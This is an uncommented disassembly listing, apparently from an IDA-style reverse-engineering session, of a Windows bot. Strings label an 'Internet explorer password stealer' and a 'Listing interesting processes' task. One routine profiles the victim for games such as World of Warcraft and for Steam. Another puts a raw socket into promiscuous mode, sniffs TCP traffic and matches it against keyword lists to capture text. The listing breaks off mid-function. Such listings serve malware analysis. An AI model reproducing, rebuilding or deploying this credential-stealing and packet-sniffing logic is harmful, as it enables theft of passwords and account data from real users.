loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------


loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D324
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]


loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DE50, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: MEW:00416FB6p
					; MEW:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax


loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1


loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1


loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1


loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1


loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1


loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"


loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"


loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"


loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"


loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"


loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D5A4
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D6D4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D730
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7A4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7E8
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41D9B4
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax


loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41D980
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: sub_415F69+63Dj
